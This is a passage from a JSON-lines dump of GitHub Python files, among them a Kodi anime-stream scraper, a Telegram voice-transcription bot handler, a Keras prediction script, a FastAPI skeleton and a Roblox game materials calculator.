mobile=True)\n\n                    r = client.parseDOM(r, 'div', attrs={'class': 'last_episodes.+?'})\n                    r = [(client.parseDOM(i, 'a', ret='href'), client.parseDOM(i, 'a', ret='title'), re.findall('\\d{4}', i)) for i in r]\n                    r = [(i[0][0], i[1][0], i[2][-1]) for i in r if len(i[0]) > 0 and len(i[1]) > 0 and len(i[2]) > 0]\n                    r = [i for i in r if cleantitle.get(title) == cleantitle.get(i[1]) and year == i[2]]\n\n                    if r: url = r[0][0] ; break\n                except:\n                    pass\n\n            url = re.findall('(?://.+?|)(/.+)', url)[0]\n            url = client.replaceHTMLCodes(url)\n            url = url.encode('utf-8')\n            return url\n        except:\n            return\n\n\n    def episode(self, url, imdb, tvdb, title, premiered, season, episode):\n        try:\n            if url == None: return\n\n            num = base64.b64decode('aHR0cDovL3RoZXR2ZGIuY29tL2FwaS8xRDYyRjJGOTAwMzBDNDQ0L3Nlcmllcy8lcy9kZWZhdWx0LyUwMWQvJTAxZA==')\n            num = num % (tvdb, int(season), int(episode))\n            num = client.request(num)\n            num = client.parseDOM(num, 'absolute_number')[0]\n\n            url = [i for i in url.split('/') if not i == ''][-1]\n            url = self.episode_link % (url, num)\n            return url\n        except:\n            return\n\n\n    def sources(self, url, hostDict, hostprDict):\n        try:\n            sources = []\n\n            if url == None: return sources\n\n            url = urlparse.urljoin(self.base_link, url)\n\n            r = client.request(url, mobile=True)\n\n            r = client.parseDOM(r, 'iframe', ret='src')\n\n            for u in r:\n                try:\n                    if not u.startswith('http') and not 'vidstreaming' in u: raise Exception()\n\n                    url = client.request(u)\n                    url = client.parseDOM(url, 'source', ret='src')\n\n                    for i in url:\n                        try: sources.append({'source': 'gvideo', 'quality': directstream.googletag(i)[0]['quality'], 'provider': 'GoGoAnime', 'url': i, 'direct': True, 'debridonly': False})\n                        except: pass\n                except:\n                    pass\n\n            return sources\n        except:\n            return sources\n\n\n    def resolve(self, url):\n        try:\n            url = client.request(url, output='geturl')\n            if 'requiressl=yes' in url: url = url.replace('http://', 'https://')\n            else: url = url.replace('https://', 'http://')\n            return url\n        except:\n            return\n\n\n","repo_name":"repotvsupertuga/repo","sub_path":"plugin.video.exodus/resources/lib/sources/gogoanime_tv.py","file_name":"gogoanime_tv.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"69855031081","text":"# randomtime.py\n\nimport datetime\nimport random\n\ndef time():\n\td = datetime.datetime.now()\n\ty = d.year - 2000\n\tm = d.month\n\tdd = d.day\n\th = d.hour\n\tme = d.minute\n\ts = d.second\n\n\tif h < 10:\n\t\th = \"0\" + str(h)\n\n\tif me < 10:\n\t\tme = \"0\" + str(me)\n\n\tif s < 10:\n\t\ts = \"0\" + str(s)\n\n\tstring = str(y) + \"y\" + str(m) + \"m\" + str(dd) + \"d:\" + str(h) + \"h\" + str(me) + \"m\" + str(s) + \"s\"\n\t\n\treturn string\n\ndef Random():\n\tfilename = time() #create the file and name it\n\tfilename = filename + \".txt\"\n\tf = open(filename, \"a\") #open the file (\"a\" represents the input of data to the end of the file)\n\t\n\tfor i in range(0,65536):\n\t\tn = random.randint(65, 65+25)\n\t\tc = chr(n)\n\t\tf.write(c) #writes the result into the file\n\tf.close #close the file\n\ndef main():\n\tRandom()\n\t\nif __name__ == '__main__':\n\tmain()\n\t\n# text file will be the date and time when it was created.\n#example: yearmonthday:hourminutesecond.txt\n","repo_name":"CyberCrypter2810/python-2019-2020","sub_path":"group_code/randomtime.py","file_name":"randomtime.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8371697225","text":"from PIL import Image\nimport logging\nimport os\nimport ntpath\n\nLOG_LEVELS = {\n    'INFO': 20,\n    'DEBUG': 10,\n    'WARNING': 30,\n    'ERROR': 40,\n    'CRITICAL': 50\n}\n\nlog_level = LOG_LEVELS.get(os.environ.get('LOG_LEVEL', 'INFO'))\nlogger_handler = False\n\nTMP_FOLDER = os.environ.get('UPLOAD_FOLDER', 'UPLOAD_FOLDER')\nos.makedirs(TMP_FOLDER, exist_ok=True)\n\ndef input_name(uid):\n    return os.path.join(TMP_FOLDER, f\"{uid}-input\")\n\ndef seed(file):\n    res = None\n    base_name = ntpath.basename(file)\n    if '-' in base_name:\n        res = base_name[0:base_name.rfind('-')]\n    return res\n\ndef thumb_name(uid):\n    return os.path.join(TMP_FOLDER, f\"{uid}-thumb.png\")\n\ndef waiting_name(uid):\n    return os.path.join(TMP_FOLDER, f\"{uid}-waiting.png\")\n\n\n\ndef init_log():\n\n    global logger_handler\n\n    logger = logging.getLogger()\n    logger.setLevel(log_level)\n\n    if logger_handler is False:\n        ch = logging.StreamHandler()\n        ch.setLevel(log_level)\n\n        formatter = logging.Formatter('[%(levelname)s] %(message)s')\n        ch.setFormatter(formatter)\n\n        logger.addHandler(ch)\n\n        logger_handler = True\n\n    return logger\n\n# https://stackoverflow.com/questions/3173320/text-progress-bar-in-the-console\n# Print iterations progress\ndef printProgressBar (iteration, total, prefix = '', suffix = '', decimals = 1, length = 100, fill = '█', printEnd = \"\\r\"):\n    \"\"\"\n    Call in a loop to create terminal progress bar\n    @params:\n        iteration   - Required  : current iteration (Int)\n        total       - Required  : total iterations (Int)\n        prefix      - Optional  : prefix string (Str)\n        suffix      - Optional  : suffix string (Str)\n        decimals    - Optional  : positive number of decimals in percent complete (Int)\n        length      - Optional  : character length of bar (Int)\n        fill        - Optional  : bar fill character (Str)\n        printEnd    - Optional  : end character (e.g. \"\\r\", \"\\r\\n\") (Str)\n    \"\"\"\n    percent = (\"{0:.\" + str(decimals) + \"f}\").format(100 * (iteration / float(total)))\n    filledLength = int(length * iteration // total)\n    bar = fill * filledLength + '-' * (length - filledLength)\n    print(f'\\r{prefix} |{bar}| {percent}% {suffix}', end = printEnd)\n    # Print New Line on Complete\n    if iteration == total: \n        print()\n","repo_name":"toto-castaldi/legolize","sub_path":"application/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33321113734","text":"#####################################################################################################################\r\n#Escribir un programa que pregunte el nombre del usuario en la consola y un número entero e \r\n#imprima por pantalla en líneas distintas el nombre del usuario tantas veces como \r\n#el número introducido.\r\n#####################################################################################################################\r\n\r\nname = input('escriba su nombre\\n')\r\nnumber = int(input('escriba un numero al azar\\n'))\r\nfor i in range(number):\r\n    print(name)\r\n    \r\n    \r\n#variante de la solucion    \r\nnombre = input(\"¿Cómo te llamas? \")\r\nn = input(\"Introduce un número entero: \")\r\nprint((nombre + \"\\n\") * int(n))\r\n","repo_name":"naliugas49/repositorio-de-prueba","sub_path":"Cadenas_Ejercicio1.py","file_name":"Cadenas_Ejercicio1.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8508206824","text":"import numpy as np\n# Note:\n# Use itk here will cause deadlock after the first training epoch \n# when using multithread (dataloader num_workers > 0) but reason unknown\nimport SimpleITK as sitk\n\ndef resample_array(array, size, spacing, origin, size_rs, spacing_rs, origin_rs, transform=None, linear=False):\n    array = np.reshape(array, [size[2], size[1], size[0]])\n    image = sitk.GetImageFromArray(array)\n    image.SetSpacing((float(spacing[0]), float(spacing[1]), float(spacing[2])))\n    image.SetOrigin((float(origin[0]), float(origin[1]), float(origin[2])))\n\n    resampler = sitk.ResampleImageFilter()\n    resampler.SetSize((int(size_rs[0]), int(size_rs[1]), int(size_rs[2])))\n    resampler.SetOutputSpacing((float(spacing_rs[0]), float(spacing_rs[1]), float(spacing_rs[2])))\n    resampler.SetOutputOrigin((float(origin_rs[0]), float(origin_rs[1]), float(origin_rs[2])))\n    if transform is not None:\n        resampler.SetTransform(transform)\n    else:\n        resampler.SetTransform(sitk.Transform(3, sitk.sitkIdentity))\n    if linear:\n        resampler.SetInterpolator(sitk.sitkLinear)\n    else:\n        resampler.SetInterpolator(sitk.sitkNearestNeighbor)\n    resampler.SetDefaultPixelValue(0)\n    rs_image = resampler.Execute(image)\n    rs_array = sitk.GetArrayFromImage(rs_image)\n\n    return rs_array\n\ndef output2file(array, size, spacing, origin, fname):\n    array = np.reshape(array, [size[2], size[1], size[0]])#.astype(dtype=np.uint8)\n    image = sitk.GetImageFromArray(array)\n    image.SetSpacing((float(spacing[0]), float(spacing[1]), float(spacing[2])))\n    image.SetOrigin((float(origin[0]), float(origin[1]), float(origin[2])))\n\n    writer = sitk.ImageFileWriter()\n    writer.SetFileName(fname)\n    writer.Execute(image)","repo_name":"DIAL-RPI/FedCross","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"13431425825","text":"#!/usr/bin/env python\n# -*- coding=utf-8 -*-\n'''\n@Author: Julywaltz\n@Date: 2019-06-15 14:43:03\n@LastEditors: Julywaltz\n@LastEditTime: 2019-06-15 15:15:20\n@Version: $Id$\n'''\n\n\ndef baijibaiqian():\n    '''\n    解百鸡百钱问题\n    '''\n    ans = []\n    for cock in range(0, 100):\n        for hen in range(0, 100):\n            if 5 * cock + 3 * hen + (100 - cock - hen) / 3 == 100:\n                ans.append({'公鸡': cock, '母鸡': hen, '小鸡': 100 - cock - hen})\n    print(ans)\n\n\nif __name__ == \"__main__\":\n    baijibaiqian()\n","repo_name":"julywaltz/testCode","sub_path":"baijibaiqian.py","file_name":"baijibaiqian.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37603101471","text":"from telebot.async_telebot import AsyncTeleBot as TeleBot\nfrom telebot.types import Message, MessageEntity\nfrom utils.bot_logger import logger\nfrom catalogues.message_texts import MessageTexts\nfrom utils.ya_transcription_api import VoiceMsgRecognizer\nfrom requests import get\nfrom bot_config import TOKEN\nfrom handlers.handler_utils import get_message_link\n\n\nasync def audio_message_transcript_handler(message: Message, bot: TeleBot):\n    if not message.voice:\n        logger.error(\"empty voice file\")\n        return\n    await bot.send_chat_action(message.chat.id, \"typing\", timeout=5)\n    file_details = await bot.get_file(message.voice.file_id)\n    file = get(f\"https://api.telegram.org/file/bot{TOKEN}/{file_details.file_path}\").content\n    recognizer = VoiceMsgRecognizer()\n    # with open(file) as file:\n    transcription = recognizer.recognize(file)\n    msg_link = get_message_link(message.chat.id, message.message_id)\n    reply_id = message.id\n    if msg_link:\n        reply_id = None\n    else:\n        msg_link = \"\"\n    if message.from_user.username:\n        user_link = f\"@{message.from_user.username}\"\n    else:\n        user_link = f\"[{message.from_user.full_name}](t.me/{message.from_user.id})\"\n    await bot.send_message(message.chat.id,\n                           msg_link\n                           + MessageTexts.BOT_RECOGNITION_MESSAGE.format(user_link, transcription),\n                           reply_to_message_id=reply_id\n                           )\n\n","repo_name":"kpkovale/transcription_bot","sub_path":"handlers/audio_handlers.py","file_name":"audio_handlers.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34657766589","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\n\r\ndef seq2list(sdna, q):\r\n    sdna = np.array(list(sdna))\r\n    n = sdna.shape[0]\r\n    if n < q:\r\n        return np.array([])\r\n    b = np.zeros((n - q + 1, q), dtype=sdna.dtype)\r\n    for i in range(q):\r\n        b[:, i] = sdna[i:n - q + i + 1]\r\n    return b","repo_name":"diogomachado-bioinfo/sweep","sub_path":"sweep/sweep_support/seq2list.py","file_name":"seq2list.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74434731239","text":"from download_tool.download_script import *\ndef validate_manifest(lines):\n    if len(lines) < 1:\n        return False, \"Manifest is empty\"\n    \n    i = 0\n    if lines[i].strip() != \"id\tfilename\tmd5\tsize\tstate\":\n        return False, \"Invalid file format\"\n    \n    while i < len(lines):\n        ln = lines[i].strip()\n        sln = lines.split(DELIM)\n        if len(sln) != 5:\n            return False, f\"Line {i} is not valid.\\n\"\n    \n","repo_name":"tharencandi/undergrad_capstone","sub_path":"src/download_tool/manifest.py","file_name":"manifest.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35347210976","text":"import csv\nimport numpy as np\nimport os\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport sklearn.metrics\n\n#\ndef build_model():\n    model = Sequential()\n    model.add(Dense(32, activation='elu', input_shape=(896,)))\n    model.add(Dense(32, activation='elu'))\n    model.add(Dense(32, activation='relu'))\n    model.add(Dense(32, activation='relu'))\n    model.add(Dense(28, activation='sigmoid'))\n    model.compile(optimizer='rmsprop', loss='binary_crossentropy')\n    return model\n\n#\ndef write_result(name, predictions):\n    if predictions is None:\n        raise Exception('need predictions')\n\n    predictions = predictions.flatten()\n\n    if not os.path.exists('./results/'):\n        os.makedirs('./results/')\n\n    path = os.path.join('./results/', name)\n\n    with open(path, 'wt', encoding='utf-8', newline='') as csv_target_file:\n        target_writer = csv.writer(csv_target_file, lineterminator='\\n')\n\n        header = [\n            'user_id',\n            'time_slot_0', 'time_slot_1', 'time_slot_2', 'time_slot_3',\n            'time_slot_4', 'time_slot_5', 'time_slot_6', 'time_slot_7',\n            'time_slot_8', 'time_slot_9', 'time_slot_10', 'time_slot_11',\n            'time_slot_12', 'time_slot_13', 'time_slot_14', 'time_slot_15',\n            'time_slot_16', 'time_slot_17', 'time_slot_18', 'time_slot_19',\n            'time_slot_20', 'time_slot_21', 'time_slot_22', 'time_slot_23',\n            'time_slot_24', 'time_slot_25', 'time_slot_26', 'time_slot_27',\n        ]\n\n        target_writer.writerow(header)\n\n        for i in range(0, len(predictions), 28):\n            # NOTE: 57159 is the offset of user ids\n            userid = [57159 + i // 28]\n            labels = predictions[i:i+28].tolist()\n\n            target_writer.writerow(userid + labels)\n\n#\ndataset = np.load('./datasets/v0_eigens.npz')\n\ntrain_data_size = dataset['train_eigens'].shape[0]\nvalid_data_size = train_data_size // 5\ntrain_data_size = train_data_size - valid_data_size\nindices = np.arange(train_data_size + valid_data_size)\n\ntrain_data = dataset['train_eigens'][indices[:train_data_size]]\nvalid_data = dataset['train_eigens'][indices[train_data_size:]]\n\ntrain_eigens = train_data[:, :-28]\ntrain_labels = train_data[:, -28:]\nvalid_eigens = valid_data[:, :-28]\nvalid_labels = valid_data[:, -28:]\nissue_eigens = dataset['issue_eigens'][:, :-28]\n\nprint('train_eigens.shape = {}'.format(train_eigens.shape))\nprint('train_labels.shape = {}'.format(train_labels.shape))\nprint('valid_eigens.shape = {}'.format(valid_eigens.shape))\nprint('valid_labels.shape = {}'.format(valid_labels.shape))\n\n#\nmodel = build_model()\n\nmodel.fit(\n    x=train_eigens,\n    y=train_labels,\n    batch_size=450,\n    epochs=11,\n    verbose=2,\n    validation_data=(valid_eigens, valid_labels),\n    shuffle=True)\n\n#\ndef auc(guess, truth):\n    \"\"\"\n    \"\"\"\n    guess = guess.flatten()\n    truth = truth.flatten()\n    \n    fprs, tprs, _ = sklearn.metrics.roc_curve(truth, guess)\n\n    return sklearn.metrics.auc(fprs, tprs)\n\nvalid_guesss = model.predict(valid_eigens)\nvalid_guesss_auc = auc(valid_guesss, valid_labels)\nprint ('valid_guesss_auc = {}'.format(valid_guesss_auc))\n\n#\nissue_guesss = model.predict(issue_eigens)\nwrite_result('predict_dense.csv', issue_guesss)","repo_name":"taipeifx/KKStream-Deep-Learning-Kaggle","sub_path":"kkstream.py","file_name":"kkstream.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5503659741","text":"from fastapi import FastAPI\nfrom demo_app.routers import authentication\nprint('2.')\nfrom domain import db\n\n\"\"\"\nCreates an Object of FastAPI Instance as app with some Title and Description while viewing in\nSwagger or ReadDoc mode.\n\"\"\"\n\ntags_metadata = [\n    {\n        \"name\": \"Authentication\",\n        \"description\": \"Operations with Authentication. It Consists of Registration | Login |\"\n                       \" Forgot Password\"\n    },\n]\n\napp = FastAPI(\n    title='Demo App',\n    description='FastAPI Demo App System',\n    version='1.0.0',\n    terms_of_service='',\n    contact={\n        'name': 'DEEP SHAH',\n        'email': 'deep.inexture@gmail.com'\n    },\n    license_info={\n        \"name\": \"Apache 2.0\",\n        \"url\": \"https://www.apache.org/licenses/LICENSE-2.0.html\",\n    },\n    openapi_tags=tags_metadata\n)\n\n\"\"\"Following command will create new tables if not exists in Database.\"\"\"\n\"\"\"Now We are using alembic migrations.\"\"\"\n\n\n# models.Base.metadata.create_all(engine)\ndb.init_db()\n\n\n\"\"\"Following command will call the routers and stored in different files for clean flow of project .\"\"\"\napp.include_router(authentication.router)\n\n\"\"\"\nUsing following we can directly run python file instead of whole uvicorn command.\nDon't use while of production server.\n\"\"\"\n# if __name__ == \"__main__\":\n#     uvicorn.run(app, host=\"127.0.0.1\", port=8000)","repo_name":"deep-inexture/FastAPI-Demo-Testing-DB","sub_path":"demo_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4770379027","text":"# This programme is for the ROBLOX game of GALAXY. \n# It can be used to calculate how many materials you still need for a new ship, based on USER input. \n# You can also use it to keep track of your materials mined (and skip ship cost calculation all together). \n\n# NOTE: MANY MORE FEATURES HAVE BEEN ADDED AND A FULL FEATURE LIST WILL BE MADE SOON.\n\nglobal info\ninfo = [[\"This programme is for the ROBLOX game of GALAXY\"], # 0\n        [\"It can be used to calculate how many materials you still need for a new ship, based on USER input.\", ], # 1\n        [\"You can also use it to keep track of your materials mined (and skip ship cost calculation all together).\"], # 2\n        [\"CREDITS: LudwigKaddin, Pieter Spronck (for pcinput module)\"]] # 3\n\nimport os\nfrom pcinput import getString, getInteger\nimport csv\nimport time\n\nCOST_ENABLED = True\nTOGGLE = 0\nENTERED_VALUE = False\n\n# Standard Defined Materials\n\nSILICATE = 0\nCARBON = 0\nIRIDIUM = 0\nADAMANTITE = 0\nPALLADIUM = 0\nTITANIUM = 0\nQUANTIUM = 0\n\n# Standard Defined Material Names\n\nSILICATE_NAME = \"Silicate\"\nCARBON_NAME = \"Carbon\"\nIRIDIUM_NAME = \"Iridium\"\nADAMANTITE_NAME = \"Adamantite\"\nPALLADIUM_NAME = \"Palladium\"\nTITANIUM_NAME = \"Titanium\"\nQUANTIUM_NAME = \"Quantium\"\n\n\ndef cls():\n    os.system('cls' if os.name=='nt' else 'clear')\n\ndef coreFunction():      \n\n    global MATS_NAME\n    global MATS_VALUE\n    global SHIP_VALUE\n    global ORES\n    global COST_ENABLED\n    global TOGGLE\n    global ENTERED_VALUE\n    global firstLoad\n\n    ORES = len(MATS_NAME)\n\n    if MATS_NAME:\n        mats_string = ', '.join(MATS_NAME)\n        print(\"The names of the current known materials are:\", mats_string)\n        print()\n\n        v = int(0)\n\n        print(\"You currently own: \")\n        print()\n        while v < ORES:\n            print(MATS_NAME[v], MATS_VALUE[v])\n            v += 1\n    \n        print()\n\n    if not MATS_NAME:\n        print(\"There are no currently known materials.\")\n        print()\n\n    loadData()\n\n    if COST_ENABLED == True and ENTERED_VALUE == True:\n\n        x = int(0)\n\n        if ENTERED_VALUE == True:\n            print(\"The ship you want costs:\")\n            print()\n            while x < ORES:\n                print(MATS_NAME[x], SHIP_VALUE[x])\n                x += 1\n\n        print()\n\n        y = int(0)\n\n        if ENTERED_VALUE == True:\n            print(\"You still need:\")\n            print()\n            while y < ORES:\n                if int(SHIP_VALUE[(y)]) - int(MATS_VALUE[y]) <= 0:\n                    print(MATS_NAME[y], \"0\")\n                    y += 1\n                else:\n                    print(MATS_NAME[y], int(SHIP_VALUE[y]) - int(MATS_VALUE[y]))\n                    y += 1\n        print()    \n\n    print(\"Press 'u' to update materials mined.\")\n    print(\"Press 'x' to exit out of the program.\")\n    if COST_ENABLED == True:\n         print(\"Press 'c' to set a shipcost.\")\n    print(\"Press 'h' to see what this program is meant for.\")\n    print(\"Press 'f' to enable/disable ship cost calculation.\")\n    print(\"Press 'm' to update the amount of materials.\")\n    print()\n    print(\"Press 'r' to reset your inventory.\")\n    print(\"Press 'rx' to reset all data.\")\n    print()\n\n    selection = getString(\"Please make your selection now: \")\n    print()\n\n    if selection == 'u':\n        cls()\n        updateInventory()\n\n    elif selection == 'x':\n        saveData()\n        time.sleep(0.1)\n        SystemExit()\n\n    elif selection == 'h':\n        cls()\n        x = int(0)\n        l = 4\n\n        while x < l:\n            print(info[x])\n            x += 1\n\n        print()\n        coreLoop = input(\"Press Enter to continue.\")\n\n        if coreLoop == \"\":\n            cls()\n            coreFunction()\n\n        elif coreLoop != \"\":\n            cls()\n            coreFunction()\n\n    elif selection == 'c':\n        if COST_ENABLED == True:\n           cls()\n           shipCost()\n\n        else:\n            print(\"You have disabled this feature.\")\n            time.sleep(2)\n            cls()\n            coreFunction()\n\n    elif selection == 'f':\n        if TOGGLE == 0:\n            COST_ENABLED = False\n            print(\"Ship cost calculation is now disabled.\")\n            time.sleep(2)\n            cls()\n            TOGGLE = 1\n            coreFunction()\n\n\n        elif TOGGLE == 1:\n            COST_ENABLED = True\n            print(\"Ship cost calculation is now enabled.\")\n            TOGGLE = 0\n            time.sleep(2)\n            cls()\n            coreFunction()\n           \n\n    elif selection == 'r':\n        listlength = len(MATS_VALUE)\n        for i in range(listlength):\n            MATS_VALUE[i] = 0\n            SHIP_VALUE[i] = 0\n        print()\n        print(\"Your inventory has been reset.\")\n        saveData()\n        time.sleep(2)\n        cls()\n        coreFunction()\n\n    elif selection == 'rx':\n        listlength = len(MATS_VALUE)\n        del MATS_NAME[:]\n        del MATS_VALUE[:]\n        del SHIP_VALUE[:]\n        print()\n        print(\"All data has been reset.\")\n        ENTERED_VALUE = False\n        firstLoad = 1\n        beginChoice = \"\"\n        saveData()\n        time.sleep(2)\n        cls()\n        firstLoading()\n\n    elif selection == 'm':\n        cls()\n        materialUpdater()\n\n    else:\n        print()\n        print(\"Please make a valid selection.\")\n        time.sleep(2)\n        cls()\n        coreFunction()\n\n    return;\n\ndef updateInventory():\n    \n    v = int(0)\n    m = int(0)\n\n    if MATS_NAME:\n        while v < ORES:\n            print(\"Press\", v, \"to edit the amount of\", MATS_NAME[v], \"in your inventory.\")\n            v += 1\n        print(\"Press\", ORES, \"to go back to the main menu.\")\n        print()\n        print(\"You current own: \")\n        print()\n\n        while m < ORES:\n            print(MATS_NAME[m], MATS_VALUE[m])\n            m += 1\n\n        print()\n\n        oreUpdate = getInteger(\"Make your selection: \")\n\n        if oreUpdate < ORES:\n            MATS_VALUE[oreUpdate] = getInteger(\"Input the new value: \")\n            saveData()\n            print()\n            updateAgain = getString(\"Do you with to update another value? (y/n) \")\n\n            if updateAgain == 'y':\n                cls()\n                updateInventory()\n\n            elif updateAgain == 'n':\n                cls()\n                coreFunction()\n\n        elif oreUpdate == ORES:\n            cls()\n            coreFunction()\n\n        else:\n            print()\n            print(\"Please make a valid selection.\")\n            time.sleep(2)\n            cls()\n            updateInventory()\n\n\n    if not MATS_NAME:\n           print(\"There are no materials for the ship cost to be updated.\")\n           time.sleep(2)\n           cls()\n           coreFunction()\n\n    return;\n\ndef shipCost():\n    \n    global ENTERED_VALUE\n\n    v = int(0)\n    m = int(0)\n\n    if MATS_NAME:\n        while v < ORES:\n            print(\"Press\", v, \"to edit the amount of\", MATS_NAME[v], \"your ship costs.\")\n            v += 1\n        print(\"Press\", ORES, \"to go back to the main menu.\")\n        print()\n        print(\"You current own: \")\n        print()\n\n        while m < ORES:\n            print(MATS_NAME[m], SHIP_VALUE[m])\n            m += 1\n\n        print()\n\n        oreUpdate = getInteger(\"Make your selection: \")\n\n        if oreUpdate < ORES:\n            SHIP_VALUE[oreUpdate] = getInteger(\"Input the new value: \")\n            saveData()\n            print()\n            updateAgain = getString(\"Do you with to update another value? (y/n) \")\n\n            if updateAgain == 'y':\n                cls()\n                shipCost()\n\n            elif updateAgain == 'n':\n                cls()\n                coreFunction()\n\n        elif oreUpdate == ORES:\n            cls()\n            coreFunction()\n\n        else:\n            print()\n            print(\"Please make a valid selection.\")\n            time.sleep(2)\n            cls()\n            shipCost()\n\n\n    if not MATS_NAME:\n           print(\"There are no materials for the ship cost to be updated.\")\n           time.sleep(2)\n           cls()\n           coreFunction()\n\n    return;\n\n\ndef saveData():\n\n    try:\n\n        with open(\"output_data.csv\", \"w\", newline=\"\") as out_file:\n                data_writer = csv.writer(out_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n                for i in range(len(MATS_NAME)):\n                    data_writer.writerow([str(MATS_NAME[i]), str(MATS_VALUE[i]) ])\n    \n        with open(\"shipcost_data.csv\", \"w\", newline=\"\") as out_file2:\n                data_writer2 = csv.writer(out_file2, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n                for i in range(len(MATS_NAME)):\n                    data_writer2.writerow([str(MATS_NAME[i]), str(SHIP_VALUE[i]) ])\n\n        with open(\"first_load.csv\", \"w\", newline=\"\") as first_file:\n                first_writer = csv.writer(first_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n                line_count = 0\n                for i in range(2):\n                    first_writer.writerow([int(firstLoad)])\n                    line_count += 1\n                    if line_count == 1:\n                        first_writer.writerow([beginChoice])\n                        break\n\n    except Exception:\n        print()\n        print(\"Oh oh! The program cannot save its data. Report this issue to the creator.\")\n        print()\n        time.sleep(5)\n        SystemExit()\n\n    return;\n\ndef loadData():\n    \n    global ENTERED_VALUE\n\n    try:\n        with open(\"output_data.csv\") as csv_file:\n            csv_reader = csv.reader(csv_file, delimiter=',')\n            z = 0\n            for row in csv_reader:\n                MATS_VALUE[z] = row[1]\n                z += 1\n    \n        with open(\"shipcost_data.csv\") as csv_file3:\n            csv_reader3 = csv.reader(csv_file3, delimiter=',')\n            b = 0\n            for row2 in csv_reader3:\n                SHIP_VALUE[b] = row2[1]\n                b += 1\n                if int(row2[1]) > 0:\n                    ENTERED_VALUE = True\n\n    except Exception:\n        saveData()\n\n    return;\n\ndef materialUpdater():\n\n    if MATS_NAME:\n        print(\"Press '1' to add a material.\")\n        print(\"Press '2' to remove a material.\")\n        print(\"Press '3' to exit to the main menu.\")\n        print()\n\n        selection = getInteger(\"Please make your selection: \")\n\n        if selection == 1:\n            print()\n\n            print(\"The current materials are: \")\n            print()\n            y = int(0)\n\n            while y < ORES:\n                print(MATS_NAME[y])\n                y += 1\n            print()\n\n            material_Name = getString(\"Input name of the new material: \")\n            MATS_NAME.append(material_Name)\n            MATS_VALUE.append(0)\n            SHIP_VALUE.append(0)\n            cls()\n            saveData()\n            coreFunction()\n\n        elif selection == 2:\n            print()\n            print(\"The current materials are: \")\n            print()\n\n            m = int(0)\n\n            while m < ORES:\n                print(m, MATS_NAME[m])\n                m += 1\n            print()\n\n            if beginChoice == 'y':\n                material_Name2 = getInteger(\"Input integer of the material you wish to remove: \")\n                MATS_NAME.pop(material_Name2)\n                MATS_VALUE.pop(material_Name2)\n                SHIP_VALUE.pop(material_Name2)\n                cls()\n                saveData()\n                coreFunction()\n\n            elif beginChoice == 'n':\n                material_Name2 = getInteger(\"Input integer of the material you wish to remove: \")\n                MATS_NAME.pop(material_Name2)\n                MATS_VALUE.pop(material_Name2)\n                SHIP_VALUE.pop(material_Name2)\n                cls()\n                saveData()\n                coreFunction()\n\n\n        elif selection == 3:\n            cls()\n            coreFunction()\n            \n\n    elif not MATS_NAME:\n        print(\"Press '1' to add a material.\")\n        print(\"Press '2' to  exit to the main menu.\")\n        print()\n\n        selection = getInteger(\"Please make your selection: \")\n\n        if selection == 1:\n            print()\n            material_Name = getString(\"Input name of the new material: \")\n            MATS_NAME.append(material_Name)\n            MATS_VALUE.append(0)\n            SHIP_VALUE.append(0)\n            cls()\n            saveData()\n            coreFunction()\n\n        elif selection == 2:\n            cls()\n            coreFunction()\n\n    return;\n\ndef loadExtraMaterial():\n    \n    global MATS_NAME\n    global MATS_VALUE\n    global SHIP_VALUE\n    global beginChoice\n    global updated_MATS_NAME\n    global updated_MATS_VALUE\n    \n    updated_MATS_NAME = []\n    updated_MATS_VALUE = []\n\n    try:\n        \n        if beginChoice == 'y':\n            with open(\"output_data.csv\") as csv_file:\n                csv_reader = csv.reader(csv_file, delimiter=',')\n                line_counter = 0\n                for row in csv_reader:\n                    line_counter += 1\n                    updated_MATS_NAME.append(row[0])\n                    updated_MATS_VALUE.append(row[1])\n                    MATS_NAME = updated_MATS_NAME\n                    MATS_VALUE = updated_MATS_VALUE\n\n        elif beginChoice == 'n':\n            with open(\"output_data.csv\") as csv_file:\n                csv_reader = csv.reader(csv_file, delimiter=',')\n                line_counter = 0\n                for row in csv_reader:\n                    MATS_NAME.append(row[0])\n                    MATS_VALUE.append(row[1])\n                    line_counter += 1\n\n        SHIP_VALUE = list(MATS_VALUE)\n    \n    except Exception:\n        saveData()\n        cls()\n        coreFunction()\n\n    cls()\n    coreFunction()\n    \n    return;\n\ndef firstLoading():\n    \n    global MATS_NAME\n    global MATS_VALUE\n    global SHIP_VALUE\n    global firstLoad\n    global beginChoice\n\n    beginChoice = \"\"\n\n    try:\n        with open(\"first_load.csv\") as first_file:\n            first_reader = csv.reader(first_file, delimiter=',')\n            c = 0\n            for row3 in 